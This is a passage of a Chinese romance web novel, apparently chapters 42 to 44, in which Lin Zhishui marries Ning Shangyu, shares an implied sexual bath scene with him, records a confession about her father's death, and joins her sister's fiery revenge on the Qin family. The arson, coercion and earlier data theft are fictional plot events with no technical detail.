宁商羽的突然造访,直接惊醒了整个林家上上下下全部的人,客厅灯火通明,而阿泱阿琴阿瞒三人把坐在沙发上的林稚水围成一团,疯狂地比划着。 “宁商羽这回真成我们家二姑爷啦?” “善善怎么第一个知道他来家里的,你不是睡着了吗?” “善善一整天都没胃口,要不要阿瞒给你煮点吃的?” “善善……” 林稚水眼睛要看不过来了,便举起猫咪布偶,伸出一根食指轻轻在肚子里摁了几下,然后喵呜喵呜喵呜了起来。 阿琴倒是先弯起了笑意,最后比划道:“菩萨庇佑。” 而此刻林稚水是饿了,毕竟白日躺在床上浑浑噩噩的只知道睡觉,怎么都唤不醒,这会儿心口满了,小肚子却空空的。 趁着宁商羽在楼上书房跟母亲谈结婚事宜。 林稚水最爱吃阿泱做的糖水,又拿着布偶朝她喵呜了声,说:“我想要吃莲子羹和核桃露。” 只要她肯吃东西,想吃什么都行。 不到半小时。 林稚水就心满意足地吃上了用精致瓷碗盛装的糖水,等差不多快吃完,楼梯方向传来了一阵脚步声。 她抬起眼眸,循声看到宁商羽那道高高的身影重新出现在了视野里。 而宁商羽神色自若,想必已经跟盛明璎达成了共识,逐步当众走到面前,指骨修长,递到了她面前。 半响,林稚水白皙指尖松开白瓷勺子,去握之前,又无意识地看向楼上的楼梯处。 盛明璎恰好出现在暖橘色的灯影下,又因背光缘故,冷艳的脸上神色辨别不分明,只能清晰看清口型,无声地对她说:“去吧。” 过一秒,林稚水才慢慢地握住了触手可及的手…… 领证结婚的流程比想象中更顺顺利利。 除了签名字外,宁商羽并没有让她签署任何东西,林稚水虽然脑子开始又有点儿犯懵懂,却心知一些结婚协议,极可能在林家的书房内,他就已经跟盛明璎单独签完了。 等货真价实的结婚证彻底拿到手后,又同他一起回到太平山顶的私人住处,奚宴立在门口,极为恭敬那句:“恭喜宁总,恭喜太太喜结良缘。” 直接把林稚水给彻底喊清醒了。 她睫毛很长垂落,轻轻颤了颤,又去看向宁商羽,这个不仅仅是性伴侣,也是这辈子第一个合法伴侣的人。 心底思绪起伏几秒,直到准备上楼的宁商羽没听到她细微脚步声跟来,顿了一下,继而,侧过高大挺拔的身形,格外沉静的视线落了过来。 林稚水微微抬起白净无辜的脸蛋,对他蓦然露出一抹笑。 拥有名正言顺的合法身份第一件事: 她必须,也非常有义务让某些心术不正之人,亲自感受一下来自宁太太的威严。 第43章 宁商羽有洁癖,上楼第一件事就是洗澡,进门后,他慢条斯理地脱掉西装外套,将皮带扯了出来,又自下由上地解衬衣纽扣,等脱光了上衣,落地窗外炽烈的阳光洒在那轮廓清晰的背肌上,随着动作透着股极其磅礴的生机能量…… 下一秒,他挑眉瞥向了安静站在那扇门边的林稚水:“过来解开。” 林稚水忽然惊醒似的,显然被他皮相迷惑好半响,随即,耳朵听到解开二字,便自动把视线落到了宁商羽突起喉结的脖颈上。 那领带犹在,已经束缚了宁商羽超过了二十四小时以上。 这刻,懵懵懂懂的林稚水有种捕获到了狮子的恍惚感,等乖乖走过去后,指尖也绕上了那垂坠的薄薄料子,却不急着解掉,而是用尾端,像是羽毛笔一样,去温柔描绘他胸膛坚硬的肌肉线条。 “一起洗?”宁商羽高大光洁的身躯站着,只是稍微俯近,洒在他这里的阳光,仿佛沿着空气,犹如涟漪金色水波轻轻渡到了她身上。 林稚水指尖已经隔着 “羽毛笔”轻轻抵在了他腹肌下的血脉,又迎面对上他那双摄人心魂的眼眸,摇摇头:“我不洗,你洗给我看。” 话音落后。 她指尖一紧,微微用着力气借这个领带,将宁商羽轻而易举地拉拽到了浴室里。 随着水汽蒸腾漂浮起来,某种气息勃勃鲜活着。 林稚水躺在了雪白的超大浴缸内,裙摆犹如雨中散开的荷叶贴在脚踝处,而她,指尖绕着的领带另一端是宁商羽略显怠懒慵散地半跪在里面,敞着分明的修长腿肌,很大方地被观赏着……那筋骨匀长的手指是如何漫不经心地清洁到位的。 明明是他自己洗,可这会儿温烫的水让他气味都变得更具有霸道起来。 林稚水连同鲜明又敏感的心脏都被什么无形地挤压着,却仍旧直勾勾盯着上方的他:“商羽……” 她尾音拖的又软又慢,似同时透着一丝茫然不解:“你现在是在被生理欲望支配吗?” 林稚水很坦荡地问出这话,转念脑海中就浮现出了母亲在家中耐心劝她放弃这段婚约时的那番话。 宁商羽这种野心家是不会甘愿俯首依赖抑制剂的……所以局势便成了,他权力至上主义,倘若选奉献出利益更大的秦家也没有错。选林家,反而是默许自己有了可被伤害的软肋。 早在他没有出现在林家之前。 林稚水虽心中的低落藏都藏不住,始终觉得似乎失去了什么,却也明知无济于事,只能说服自己这或许就是外面世界的游戏法则。 直到他来跟她结婚了。 林稚水瞬间有种把高悬于空的冷月收拢在手心的感觉,更多的不是欢喜,而是愈发渴望着想要彻底独占这抹光芒。 表面上轻轻问出那句:你现在是在被生理欲望支配吗? 实则林稚水更想问: 你现在愿意俯首被我支配吗? 宁商羽缚在脖颈上的领带还在她手指间,继而,毫不掩饰自己的商人本性,朝她索要起了结婚证之下价值连城的馈赠,嗓音温温沉沉:“稚水,把它吸出来。” 吸?出来??! 林稚水怔神了几秒,看着近在咫尺犹如高挺而华丽的权杖之物,在热雾缭绕间,整体呈现出宝石的紫红色调,隐隐透出一股危险又蛊惑性的气息。 宁商羽用行动像是回应着她的问话,把权杖,交到了她这里任由支配。 又过片刻,林稚水呼吸微微急促,许是浴缸热水的温度过烫,顺着锁骨往上爬,倏然染得皮肤一片殷红。 而此刻,宁商羽被水珠淌湿的指腹轻捏着她下巴抬起,彻底靠过来。 …… 当天正午时分,那一纸结婚证书封存在木盒子里,转而直接第一时间呈到了宁徽诏面前。 书房内,老管家和宁濯羽左右站着,如同旁边唐狮六曲屏风上的寿山石和垂着尾巴的瑞狮。 气氛凝固半响。 宁徽诏用指关节按压太阳穴,多年来在家族治下的威严在此刻显露出几分对子孙这般的公然傲慢挑衅行径从而无奈叹息起来。 秦晚吟弃了自己家族,为爱执念极深要嫁入宁家,心甘情愿奉献出自己的价值。 林家那边也默许婚约取消。 每一方都心甘情愿为了心中更重要的东西做出权衡取舍。 偏偏宁商羽对秦晚吟表露出的那副温柔深情模样无动于衷,对她的恳求,更是冷漠无情。 宁徽诏又叹息了下,随即,开口问话:“小濯,你兄长还跟你说了什么?” 宁濯羽一听到老爷子声音,尾巴就精神抖擞的翘起来:“哥说秦家没有资格上桌跟他做交易,还有,叫我把崔岱云带回港区。” 宁徽诏沉默片刻,最终什么也没再问,挥挥手让他出去。 宁濯羽是领了任务来老宅的,可不是来犯老爷子的雷霆天威,随后夹着尾巴就赶紧溜了。 等他离开,檀香弥漫的室内恢复几许沉寂气氛,宁徽诏的脸色这才沉了些下来:“不愧是琛启的儿子,父子俩这辈子就逃不过一个情字!” 旁人不懂,老管家却是最懂宁徽诏的心思。 秦晚吟先前在老宅能险胜一筹林家,倒不是全因她处心积虑研发出了新型药剂缘故,这个药剂,只是作为她有资格联姻的投名状罢了。 真正能让她被宁徽诏以家族为重选中的原因是,宁商羽不爱她。 不爱她,宁商羽就不会为情去重蹈覆辙了亲生父亲的后尘,这样坐在宁氏家族头把椅子上的掌权人就不会有任何弱点。 要没有领这个结婚证…… 老管家上前道:“商少爷也不是为了公然忤逆您,他是了解您,才会直接去港区给了林家的小女儿名分。” “你不必为他解释,他哪里是防我先一步放出风声选定了秦晚吟跟宁家联姻。”宁徽诏的确动怒,也看出了宁商羽维护林家的心思:“他是舍不得林稚水在名声上被人笑话到手的婚约却无能护不住。” 先名正言顺领了证,哪怕无论是老宅摆出什么立场,秦晚吟再怎么想上位。 林稚水都可以高枕无忧。 这是护得紧,宁徽诏又道:“他身上这遗传白家罕见的性瘾基因一日不根除,我活到这把年纪了就一日难安,他要没那野心,在家族里做个吃喝享乐的公子哥,像小舒羽那样,他想娶谁,我又何必做这个恶人来干预?” 现如今宁商羽位居那个高位,任何举动都事关家族的利益,宁徽诏为他筹谋丝毫不领情,恐怕紧接着就要为林家出头,更看不上用秦晚吟的新型药剂。 老管家心知秦家注定出局,用心良苦劝道,“商少爷那性子从小在一堆少爷们就属最傲慢的,要真听之任之,也坐不稳这个位子。” 这话倒不假,宁徽诏沉思了片刻,吐出一句,“罢了,让秦家那孩子重新挑吧,从宁氏这辈里挑一个。” “是。”老管家了然于胸老爷子念在秦晚吟的功劳上,还是护了她一把。 毕竟秦晚吟当时选了婚约,见死不救亲生父亲的安危。 如今又嫁不成宁商羽。 恐怕回到秦家的日子不太好过。 “我母亲说秦晚吟的赢面很大,是宁家的大功臣……”林稚水在衣帽间的大理石岛台坐着,轻轻晃动雪白小腿,问起了正在穿衣的宁商羽:“她讨要的赏,可以由我来给吗?” “你是宁氏当家主母,她的赏,你想给可以给。”宁商羽长指有条不絮地将衬衫纽扣系紧,料子极奢华,在顶上璀璨的光线相互折射着,也衬得那张面容看上去冰凉而高贵。 林稚水眼尾轻翘下的视线,轻慢而水润地临摹着他,也不知是从未婚夫妻转变成了新婚夫妻,还是在浴室里有过亲密的缘故,看他,是越发赏心悦目了起来。 她用白嫩嫩的脚尖,去勾宁商羽衬衫上的玛瑙纽扣:“刚才你感觉怎么样?” 宁商羽故作不懂:“嗯?” “你让我吸出来……”林稚水坦荡荡地把事情经过简单说一遍,唇角细看的话,因肌肤太白缘故,是有点儿泛红起来的。 好在她只是吸,而不是像前几次需要吞吞吐吐的,倒也没弄出任何小伤口。 这会儿林稚水露出一点不自知的纯洁天真和格外旺盛的好奇心:“不跟我分享下感受吗?” 宁商羽笑了:“未婚妻和合法妻子的使用感受么?” 林稚水点点头。 宁商羽被她勾近了几分,伸出手掌去揉她柔软的小脸蛋,触感犹如上等的玉,又似雪,给人一种极度干净透明的感觉,唇很软,舌尖也很润,偶尔像只小动物很会舔人。 宁商羽低首,更深地凝视着她这双更吸引人的琉璃眼,却语调慢悠悠的反问道:“不如你先跟我分享一下,未婚夫和合法丈夫使用起来的感受?” “唔。”林稚水抿开一点唇角笑意,学他语调,故意拉着音色说:“合法丈夫好像用的更得心应手了。” 宁商羽看穿她不会无缘无故调情:“宁太太又想做什么?” “把崔岱云给我。”林稚水如今有人在身后依仗自然是有恃无恐,用脸蛋轻轻蹭他修长手指,轻声说:“商羽,我应该是猜到了父亲的那场事故里……当年秦家在背后扮演了什么角色。” 她需要得到证实。 崔岱云是下午被宁濯羽亲自带回的太平山顶,宁徽诏既已默许,显然是不准备继续庇佑秦家了。 林稚水不急于出去,她先是从主卧的衣帽间挑了件像极了在家中经常穿的简单浅白衣裙,而无论多干净的白,都只能愈衬得她平静又怜悯的脸更雪白到毫无瑕疵。 等她慢悠悠地沿着走廊进入书房,推开门后,被安置在这里的崔岱云下意识地望过来,两人视线微微汇聚了一秒。 林稚水凝着他,表情正常。 倒是坐在轮椅上饱受两地奔波的崔岱云看上去十分憔悴,甚至在下意识想露出温和笑容的下一秒,又想到什么,浮现出了复杂的愧疚情感。 “崔伯伯。”林稚水启唇,对他的称呼依旧不变,“抱歉,是林家的恩怨把你无辜卷入进来了。” 崔岱云不无辜,谁都知道,她这句无辜无疑是诛心一般。 偏偏语气真诚到就是心之所想,林稚水走到离他对面的沙发坐下,又说:“你本就只是个生活平平无奇热爱科研事业的教授,不该陷入这些家族阴谋算计里,我已经问宁商羽讨要了你,从今往后,你自由了……可以不再为林氏效力,秦晚吟也不会在为了研发性瘾药剂纠缠你……更无人找你对质。” 崔岱云先前不知怎么对她开口,显得尤为沉默。 可听到这些话,他最终没忍住嘶哑着嗓子问:“是发生了什么?” 明明回港区前后时间里,宁濯羽还手段强势地限制着他人身。 林稚水轻声回:“秦晚吟找到了更好的专家研发成功了,秦家依仗宁氏权势,我母亲区区一个无人依仗的女人,心中有恨又能怎么样?” 崔岱云脸色转白,久久不能言。 林稚水放慢语速,犹如给他足够的时间听清楚这一句话:“这不是崔伯伯跟秦熠安联手想看到的局面么?” 崔岱云心头巨震,怔怔地看着坐在沙发上的林稚水,她模样瞧着和记忆中年幼时没多大变化,偶尔像小孩子一样会问出很纯粹的话。 纯粹到了衬得对方内心如同深渊黑暗,崔岱云却急切地开口否认:“这不是我本意……” 林稚水语气困惑似的问:“当年也不是你本意,你还是跟秦熠安一起算计了我父亲,如今不是你本意,你又站在了秦家的立场上,看着母亲,看着我被秦家谋夺去一切。” 到最后,林稚水看着崔岱云眼眶逐渐憋得通红,声音突然冷了下来,问出那句:“崔伯伯,你为什么要帮秦家,害死我父亲啊?” 死寂一般沉默,崔岱云压制不住胸膛那股要致命的痛苦。 林稚水往下猜,话语中罕见的平平静静:“是你们一起害死的对吗?所以你即便是跑到海边摔下礁石险些丧命也不敢供出秦熠安,他敢对你下死手,却有待无恐不怕你告状,是因为手头上有威胁到你的东西。” 都猜对了。 崔岱云无法面对当年之事……他站在礁石上跟秦熠安对峙的那晚,也情绪激烈到想过跑回林家忏悔,才会被推下去。 倘若死了也一了百了。 可是当在医院被抢救苏醒后,崔岱云经历了生死大关却突然没了说出真相的勇气。他额际隐约有青筋浮动,嘶哑而难听的嗓子伴随着颤抖:“砚棠,砚棠是我们害死的。” 林稚水微微垂眼,将手机录音打开,很轻地放在沙发上。 下秒,崔岱云犹如陷入了一遍当年的回忆道:“林氏最高机密科研医疗数据之所以会被窃取,是秦熠安在暗地里告诉了那个勒索者,从我这里下手……” 他太信任人,完全是被蒙在鼓里,无意中做了秦熠安手上撬动林家的一把刀刃。 林稚水又说:“秦熠安算准了,我父亲不登船拿回机密数据,就会面临重大信任危机,以后在医疗领域就无人再敢跟他做生意,所以他必须登船。” 崔岱云仿佛这层躯壳下的灵魂已经追寻当年一起死掉了,冷汗淌过额角点头:“是,他先利用了我,又假意一起出海暗中保护砚棠的安危,实际是他早在游轮上动了手脚,无论这个交易能不能成功,从一开始……秦熠安狼心狗肺,就是冲着砚棠这条命去的。” 林稚水指尖滑过躺在沙发上的冰冷机身,放柔声音:“他这么处心积虑下这盘棋,连一丝生机都没有给我父亲留下,是为了什么,想必你就算当年被蒙在鼓里,现在也知晓真相了?” 崔岱云知道。 也是无意中发现了当年真相的一角,才会不可置信又愤怒地找秦熠安对峙,如今林稚水都已经猜到这里了,他闭了闭眼道:“秦熠安当年向宁氏家族献上的那份抑制性瘾的残缺数据……是偷了砚棠的。” 林稚水指尖骤然一顿,眼眸意外地看向了他。 这是她没猜到的。 崔岱云手指用力紧攥轮椅上的手扶,语气沉重:“当年秦熠安一直靠跟砚棠自幼长大的情分,才能跟林家强强联手占据港区生物制药的市场,可秦家研发方面的专业有所欠缺,不如砚棠天赋异禀,后来他得知砚棠在暗中秘密研究这个……就起了狼子野心!” 而秦熠安没料到林砚棠防着一手,才没有成功偷窃到最完整的原始数据。 崔岱云也是为了成功考核进宁氏科研团队,故而,用在林氏最高权限的职务便利去翻找林砚棠留下的一些珍贵数据资料。 才发现了当年蛛丝马迹真相。 “我不知道砚棠为什么在暗中秘密研究这个,这个你得从秦熠安身上问出真相。” 崔岱云重新对视上林稚水那双神似林砚棠的古典琉璃眼,许久,削瘦清俊的脸孔充满痛苦的忏悔道:“对不起,对不起是我害你一出生就失去健康,自由和父亲。” …… 又过许久。 林稚水才从气氛犹如死水的昏暗书房走出来,身后的两扇门一直没关,她抬眼,继而看到了宁商羽站在外面等待,或许是旁听了已久。 走廊上也没亮起灯,随着夕阳落下,四处都是黑暗一片。 林稚水已经将完整录音都发给了远在江南的林曦光和母亲,她语气很轻,轻到一丝起伏情绪都没有:“商羽,你抱抱我吧。” “嗯。”宁商羽手臂已经先一步把她抱在怀中,这身子骨软绵绵得像是水一样,不抱紧点便要流走了。 这般安静过片刻,直到林稚水退出他的胸膛,抬起手指,温柔地摆弄着他领带:“港区这边有妈妈坐镇,我们回泗城吧。” 宁商羽倒是意外她不留在港区,而林稚水往下说:“我知道的……我们的结婚协议内容有一条,肯定是有妈妈提出条件要你把秦熠安给林家,上一辈人的恩怨上一辈了结,我和姐姐,也有自己的事要做。” 林稚水又往后退一步,仰着头对上宁商羽那双沉静又透着许些探究的琥珀眼,微微笑了笑:“姐姐听完录音,应该也会从江南动身去泗城,我不能比她晚一步了。” 宁商羽观察她脸蛋乃至眼尾,见没有泪意痕迹,才顺势低问:“哦?林曦光会去泗城做什么?” “火烧秦家吧……” 林稚水心想,她们亲姐妹总是能心意相通的,这秦家靠偷窃林家的东西,在泗城地界立足了实在太久了,如今看一眼,就犹如是父亲的墓碑一样。 让人看了堵心。 第44章 林稚水还是来迟了一步,抵达泗城时,秦家那座建立在权贵土壤地界的豪华别墅已经在黑暗中燃起了烈焰大火,仿佛要将十八年前偷来的一切都焚烧成灰。 然而,林稚水从夜色中刚下车,天边遥遥掀起一层惊涛骇浪的雷声,透明的雨滴也骤降下来。 宁商羽接过秘书递来的黑伞,游刃有余地为林稚水挡雨,前方有保镖和宁濯羽开路,两人脚步倒是走得不紧不慢,无数细碎的水珠顺着伞尖淅淅沥沥淌下来,与地面犹如凝结了一条珠帘似的屏障。 林稚水望着前方那幕足够能灼伤视网膜的火光,柔柔地笑了笑:“看来我姐姐已经来到秦家做客了。” “嗯。”宁商羽哪怕什么都不用做,极盛的气场从她背后笼罩着,语调却透着漫不经心的散漫:“你姐姐做客,除了爱玩火,顺便热情把主人从家里拖出来一起欣赏欣赏火海外,还有别的做客爱好吗?” 林稚水近乎于矜持地朝他说:“我姐姐爱好极为涉猎广泛,三天三夜都说不完,不过她一向很有做客人的自觉,偶尔也会给主人家准备点……” 步近了场面热闹的庭院,她眼眸透过雨珠看向里面的重重人影,红唇轻轻吐露两个字:“礼物。” “瞳瞳……”秦晚策沙哑出声。 林曦光踩着高跟鞋走到面前,扬手就是一个清脆的巴掌。 从当年被长辈解除娃娃亲至今,秦晚策第一次能跟她近距离接触,虽是当众挨了打,这种刺骨的疼痛透过皮肤蔓延在血脉里,他却如获至宝,眸子压抑的爱矛盾而深沉盯着她的脸。 “这火烧得好看吗?当年我父亲葬身在火海里,也是这样烧了一夜……”林曦光淋着雨丝,背对着别墅冲天火光的长裙艳色浓稠,好似有血,声音轻轻又清冽:“而你那假仁假义的好父亲却用偷窃来的东西攀附上了权贵,真是太没有公道了,我问你,秦家是不是该死?” 是该死,秦晚策无从狡辩父辈的罪孽,他那时小却开始记事了,至今难忘林砚棠那张年轻又古典俊美的脸,待他总是温柔和善,如亲子一样。 却都毁于一旦他父亲的狼子野心。 林曦光说:“你想赎罪就拿……” “瞳瞳!” 话未落完,这时岳闻昔倏地爆发出力气推开压制自己的保镖跌撞了过来,养尊处优当了大半生的豪门贵妇,秦家夫人,此刻却狼狈不堪,头发散了,衣裙浸透了雨水污泥,满脸的灰败和绝望:“晚策和晚吟就像你跟你妹妹一样,什么都不知道啊,上一辈的恩怨血债,我来偿还,我来偿还好不好……” 林曦光突然听笑了,音色透着微微嘲讽的笑:“好无辜啊,岳闻昔,当年我母亲跟你可是闺中好友,你自己倒是慈母心肠爱护孩子,却能眼睁睁看我母亲孤立无援独自养大一对女儿,你的晚吟在秦家众星捧月的时候,你有想过我妹妹一出生就孤零零被关在家里吗?这该怎么偿还?” 岳闻昔哑了口,苍白的唇却难以控制地微微发抖。 “你们夫妻俩心狠手辣算计我父母的时候,有想过自己儿女吗?”林曦光高跟鞋冰冷冷地走到她面前,居高临下地说:“你们肯定想,林家没了当家之主,早晚是要除名港区豪门的,盛明璎到时连自己恐怕都护不住……有什么可忌惮的,对吗?” 细雨还在下,林曦光又忽而提起:“我跟我妹妹,各占母亲名讳一个字,这辈子注定是要护她的。” 盛明璎。 明便代表着曦光—— 璎,去掉守护的王字旁,何尝不是代表着白璧无瑕的稚子。 “你护儿女,我护母亲,如今各凭本事。”林曦光始终冷漠地看着全身力竭到瘫软在地上的岳闻昔,一字一字说:“还有什么自保手段吗,没有的话,就别耗费彼此时间了。” 秦晚策深深压抑着刚出声:“瞳瞳。” “秦晚策,我不想看到你家上演一出什么甘愿替罪的烂俗戏码。”林曦光打断他的话,继而,让秘书将备好的合同文件拿来。 “放心,我来此做客,给每一个人都备上了礼物。” 这份礼物可谓是量身定制的。 岳闻昔可以选择今晚自己去葬身火海,用命去抵消血债。也可以选择签了这份合法的同意书,从高高在上的贵妇沦落为余生都在精神病院里孤苦无依待着。 秦晚吟依仗秦家攀附权贵,风风光光当了十八年众星捧月的大小姐。不是爱搞科研夺人婚约么?林曦光便为她远在泗城千里之外的荒无人烟地区专门仿造监狱弄了个封闭式的研究所。 十八年为期限。 秦晚吟尽可在里面独自好好研究,也刚好尝一下这种丧失自由权,不能见日的滋味。 至于秦晚策,林曦光转身对视上他那双将痴狂以量多年来蓄积成浓墨般的眼眸,她冷冷地说:“你这些年不借秦家势力创业,也不涉足家族生意,但是你姓秦……我要你父亲死后当孤魂野鬼,秦家从你这辈子断绝。” “从今晚起,秦家没了,你不能姓秦,也不能为秦熠安收尸祭拜。” 林曦光最后的话音伴着雷雨落地。 秦晚策滑动喉结却没有拒绝,他本身就心知整个秦家从跟根基就烂透了,也厌恶极了父亲为了家族繁衍昌盛攀附权贵的行径。 如果改姓。 能让林曦光心里舒服一点的话。 岳闻昔却心如刀绞,喃喃自语着报应。 她和秦熠安害得林砚棠尸骨无存地死在爆炸的游轮上,两家隔着血海深仇,结果儿子近乎疯魔的爱上林砚棠的长女,女儿无法自拔爱上林砚棠的女婿…… 竟是父债子偿,父债子偿啊。 “不!我不签!我不要这个礼物……” 秦晚吟先前额头撞在了楼梯口,整个人是处于意识半混沌的状态,犹如吸收不到秦家养分后近乎枯萎的带毒刺植物,奄奄一息般躺在地上。 待挣扎着睁开眼,逐渐眩晕感褪去,看清楚摆在面前的同意书后。 “凭什么……”她倏然出声,脑海中的理智已经被那股愤怒和绝望冲撞成崩溃声音:“林曦光,你不能强关我十八年……你就算是林砚棠的女儿也没资格动我,我有宁家护着,你这样做,回去怎么跟楚家交代?” 林曦光嫁到江南第一望族,总是有些规训要遵守,但是秦晚吟还是不够了解她,“你这样说,我更要关你了,倒是要看看,宁家准备怎么护你,楚家那群老古董能奈我何?” 十八年,落到林曦光的手头上,秦晚吟知道她会被这个心狠手辣的女人摁死唯一逆风翻盘的机会。 而如今大火烧遍了秦家每寸土地,把这里烧得像一座坟。 连秦晚策也不帮她。 母亲受制于人也帮不了她。 秦晚吟心底霎时缩紧,每一秒都漫长得可怕,就在绝望到极致时,目光忽而看到了……宁商羽的身影出现了。 可他不是来救她爬出地狱的。 而是为了给林家撑腰,像是脾睨众生的狮子站在始终安静的林稚水身后,一把黑伞抵挡了外界落雨声,气场极度强势到仿佛连夜里的夜风都无法靠近她。 秦晚吟睁大的弯月眼被几点雨珠直直溅进来,犹如火焰,痛到险些视线模糊的地步。 这一刻,方才还信誓旦旦说有宁家护的话,直接跟回旋刀似的刺回了心里。 可求饶的话,秦晚吟死都不会对林氏姐妹说,咬紧牙关,又强撑道:“宁商羽,你不能任由林曦光把我带走,老爷子答应过让我从宁氏这辈里挑一个……重新挑一个结婚,我不是秦家的人了,你们宁家不能言而无信啊!” 林曦光看了眼宁商羽。 反观宁商羽对秦晚吟没有丝毫动容的意思,只是平静地问,“是么,你挑好了?” 秦晚吟心知只能断尾求生,彻底把秦家从身上脱离下来,她心狠狠地一跳,倏地眼角的余光扫到站旁观看戏的宁濯羽。 下一秒,她接近歇斯底里指过去,说:“我选他……” “什么玩意?”宁濯羽那张艳丽而深邃的面孔上尤为震惊,仿佛秦晚吟再多说一句,都不用林家出手,他就能把她这条小命拖进别墅里烧了,继而,那张嘴很不客气地冷嘲热讽了起来:“你做什么白日梦,我娶你哥也不娶你啊。” 秦晚吟满身被雨淋的狼狈,倏然红透的眼眶压着强烈屈辱。 “给你选过了。”宁商羽态度疏离冷淡,“宁濯羽拒绝。” 宁濯羽眉梢带着惯常的傲慢神色,又似笑非笑道, “我尊敬的兄长在家族一向是非常民主,非常爱护自己弟弟,秦大小姐,你到现在还看不清自己什么面目啊?宁家哪个不长眼的玩意会看上你?” 敢公然娶秦晚吟进宁家给她换个新身份,下场只有一个。 连夜被宁商羽除名出去。 秦晚吟被当场定住般,脸色都是没有血色的白,被宁濯羽拒绝,也就意味着她真完了,秦家倒台,她也将永久丧失联姻资格上不了豪门世家桌面。 一场烈焰大火烧光的不止是秦家根基,也是她多年来嫁入宁家的梦想。 这时,始终安安静静的林稚水仿佛在夜幕下最后一颗雨点落地完之后,才出声:“秦晚吟,你倘若不满意我姐姐为你选的息身之地,我也可以给你换一个。” 秦晚吟微微僵硬转着头,把视线落到了她那张天然怜悯又平静的脸上:“你什么意思……” 林稚水淡淡地说: “我从不爱以己度人,你既不爱在研究所待着,那就替你父亲好好活着忏悔吧。” 忏悔??? 秦晚吟难以置信地瞪着她。 “没了秦家光鲜亮丽的大小姐身份和宁家老爷子的依仗,秦晚策不姓秦了,自然也不能管你。”雨已经完全停了,林稚水的声音更显清晰起来:“今后你只能姓秦,就以普通人的身份好好活在无人问津的阴暗角落里求生,每一日都忏悔一遍你秦家的罪行。” 放任自生自灭…… 秦晚吟生来娇贵,已经过惯被巴结追捧的风光日子。 恐怕比打造一个牢笼禁锢她人生自由还要令人绝望,她会尝到当年林家险些面临的绝境,宛若尘埃,彻底消失在豪门圈里。 林稚水不再给她眼神,继而,朝不远处地林曦光慢步走去。 这时烈火燃烧已久的秦家别墅也终于轰然崩塌,犹如秦家的命运消散在了这块权贵土壤间…… 林稚水伸手抱了下林曦光,细微察觉出姐姐情绪还是不怎么好,故而小声说:“你又比我早一步啊。” 早她一步出生,承担了林家长女的重任。 承担了很多很多。 “迟姐姐一步不好么?”林曦光声音像在浓墨的夜色里晕开了许些柔和,抬起微冷的手指描绘般触碰了几秒林稚水那双遗传性的琉璃瞳仁,像是怀念着,又终究要接受早在年幼时就失去过一次了,“你不该跑来秦家的……” 秦晚吟的下场也不该从中插手,这样她婚后在宁家,面对着那位德高望重的老爷子才不会被挑任何的错处。 而哪怕如此,林稚水还是来了,而后轻轻笑了笑:“我来秦家,把宁商羽也一起带来,他爷爷要严厉训人的话,我就装体弱躲他身后好了,反倒是瞳瞳你……” 楚家作为江南万族之首,她既已嫁入,在外面行事的一举一动都会被无数利益牵扯的人盯着揣摩,然后无限放大,身后代表的不仅仅是林家了。 林曦光手指捏了捏她雪白手腕:“不必担忧。” 如今形同废墟的秦家之地不是姐妹俩密语的地方,林曦光随即又说:“我还要回港区找母亲一趟,秦家如今这个残局你留在泗城来收尾,我先走了。” 林稚水点点头。 林曦光踩着尖细高跟鞋,不沾一丝尘泥地离开了这片焦土,而她离开,秦晚策喉咙动了动,魔障似的下意识地想去拦阻。 却被宁濯羽倏地拦阻下,还收起了不正经的笑意,低声提醒他一句别给自己如今家破人亡的处境再往上添点风霜了:“楚天舒也来了。” 一直没现身。 秦熠安醒来时,近日削瘦不少的身躯犹如一团黑影静静躺在游艇的露天甲板上,左膝盖骨的伤已经被包扎过。而他睁开那双狐狸眼,先是警惕地注意到置身的环境在一片波涛翻滚的海面上。 紧接着,视线缓慢地朝前方的沙发处移,定在那高跟鞋尖上,淡紫色的裙摆被风吹得飘动,向上是盛明璎那一张艳丽无比的脸。 “秦熠安。”盛明璎冷冰冰的说:“崔岱云都交代了,你还有什么遗言么?” “阿芫……”秦熠安叫她的小名,哪怕时至今日还妄想维持着儒雅沉稳的风度,先是将鼻梁上的银丝边镜框重新取下用衣角仔细地擦拭到了干净程度,继而,待视野更清晰,又站了起来,才说话:“你不能只听信崔岱云一言,我和你、砚棠是一起长大的挚友发小,又怎么会起歹心,是他故意栽赃陷害我。” 盛明璎闻言,艳色唇角露出异常讽刺地微笑:“你秘密提供给宁家的东西,也是崔岱云强行栽赃给你的?” 秦熠安沉默两秒,神色颓然地说:“是砚棠给我的。” “秦熠安,你准备玩死无对证么?”盛明璎在生意场上尔虞我诈多年,心狠手辣且睚眦必报的形象不是白得的,早已不似当年好应付,直接拆穿他伪善面目:“你不认也没用,秦家基业注定断送在你手上。” “阿芫,你一点情分都不顾?” “情分?你为了谋取家族前程把林砚棠害死了,现在来跟我讲情?秦熠安,你该不该死?如果不是你利欲熏心,我的瞳瞳又怎么会小小年纪就没有父亲庇佑,我的善善又怎么会还未出生就被医生诊断出难以存活!?” 盛明璎又冷冷笑一声:“你应该没有体会过,自己的女儿小心翼翼养着养着,突然有一天无故出现视力障碍,你明明在她面前,她那双可爱又圆溜溜的大眼睛却只能看到影子,有过一两年需要完全靠导盲杖猜能生活,又或许,突然有一天吃不出食物的味了,糖水喝下去,像白开水一样……” 秦熠安神色纹丝不动:“我知道你养林稚水不易。” “你秦家养女儿,可比我林家养容易多,甚至可以靠偷窃来的东西让自己孩子过上高人一等的无忧无虑生活。”盛明璎言语上讽刺完,坐在沙发上的姿态也愈发冷漠起来:“这些拿你区区一条苟延残喘至今的老命来抵,算便宜你了。” 她是执意要报仇雪恨了。秦熠安闭了闭眼,冰凉海风扫过他微湿的短发,随即,从喉咙里低低地挤出沙哑的字:“阿芫,我可以赎罪,我给你跪下认错……” 秦熠安哪怕在宁家被打断膝盖骨都不愿意跪,就为了维持他那心高气傲又为人正直的尊严一面,不能叫这些大家族的上位者轻蔑了去。 如今踉跄着跪在了盛明璎高跟鞋脚下,颤抖着手指扯着她裙摆一脚求到:“砚棠已经死了!你还有女儿啊,林稚水被你藏在家里十八年,你什么都没教她……她也不懂。给我一次赎罪机会,我可以为她在宁家效力,为她铺路……” 盛明璎纤长的睫毛垂着,面无表情问:“你配吗?” 配为她铺路,配为她效力吗? 遥远天际唯一的暗光也被云层覆盖,游艇的四周阴冷寂寥,秦熠安仿佛被这股气息粘稠地裹着,隐约恍惚间,又好似闻到了当年那场爆炸引起的浓烟和一丝丝血腥。 他不想杀林砚棠的! 